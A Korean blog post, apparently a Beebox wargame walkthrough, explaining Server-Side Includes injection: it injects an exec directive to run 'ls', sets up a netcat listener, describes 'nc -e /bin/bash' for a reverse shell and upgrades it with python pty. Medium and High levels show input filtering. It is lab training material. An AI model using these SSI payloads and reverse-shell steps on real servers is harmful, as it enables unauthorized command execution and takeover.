Beebox[Server-Side Includes (SSI) Injection]
❓ Server Side Includes(SSI) : 페이지를 서비스할 때 서버가 동적으로 처리하며 내용을 추가
▶ 페이지 대부분이 정적인데 한 부분만 동적인경우 해당 부분만 동적으로 처리
▶ 예를 들면 블로그 조회수, 현재날짜/시간 등
▶ SSI 지시어는 <!--#element attribute=value ...--> 과 같이 사용
▶ 사용예시)
Today is <!--#echo var="DATE_LOCAL" -->
- echo요소는 출력해주는 것이기 때문에 "Today Is Monday, 29-Mar-2021 21:02:39 CEST" 와 같이 출력이 됨!
1. LOW
(1) 입력
제 IP를 출력해주네요!!
주소창을 자세히보니 ssid.shtml 파일에 접근했네요!
.shtml파일은 사용자에게 보내지기 전에 서버에서 약간의 정보를 추가하는 파일을 말해요!
(2) 소스코드 확인
ssii.php파일을 확인해보니 ssid.shtml에 내용을 작성하는 것으로 보이네요!
(2) 공격
<!--#exec cmd="ls"-->
입력해보면?!
ls명령어가 실행된 결과를 확인할 수 있어요
입력한 내용이 들어가있네요!
하하
기왕이면 shell을 사용하기위해
이전에 배운 OS Command Injection에서 썼던
nc를 실행시켜보겠습니다.
nc -l -v -p 7942
▶ 내 PC에서 위와 같이 입력해주세요
▶ 넷캣의 -l은 리스닝모드이고, -v는 verbose로 상세설명도 나오고, -p 다음에는 오픈할 포트를 적어주세요
-e /bin/bash 옵션은 shell을 이용해서 상호작용할 수 있도록 하기위해서지요
-e는 exec의 약자로 뒤에 넣은 것을 실행합니다!!
서버에서 내 PC로 연결을 한 후 내 PC에서 명령어를 실행한 결과에요
python -c 'import pty; pty.spawn("/bin/bash")'
위와 같이 입력하면
pty라이브러리에서 제공해주는
interactive한? 상호작용이 가능한? 터미널을 제공해줍니다
vi에디터도 사용이 가능하구요
명령어가 정상적으로 실행되고 결과도 얻을 수 있네요!!
2. Medium & High
(1) 소스코드 확인
Low와 동일하게 입력해보았지만 실행이 되지 않네요
Medium은 xss_check4함수를,
High는 xss_check3함수를
호출하네요
addslashes함수는
특수문자 등에 "\"(역슬래시)를 붙여주는 함수입니다.
htmlspecialchars함수는
", ', &, <, >을 UTF-8로 변환해요.
'Wargame > BeeBox' 카테고리의 다른 글
Beebox[SQL Injection (GET/Search)] (0) | 2021.03.30 |
---|---|
Beebox[PHP Code Injection] (0) | 2021.03.30 |
Beebox[OS Command Injection - Blind] (0) | 2021.03.30 |
Beebox[OS Command Injection] (0) | 2021.03.29 |
Beebox[iFrame Injection] (0) | 2021.03.29 |
댓글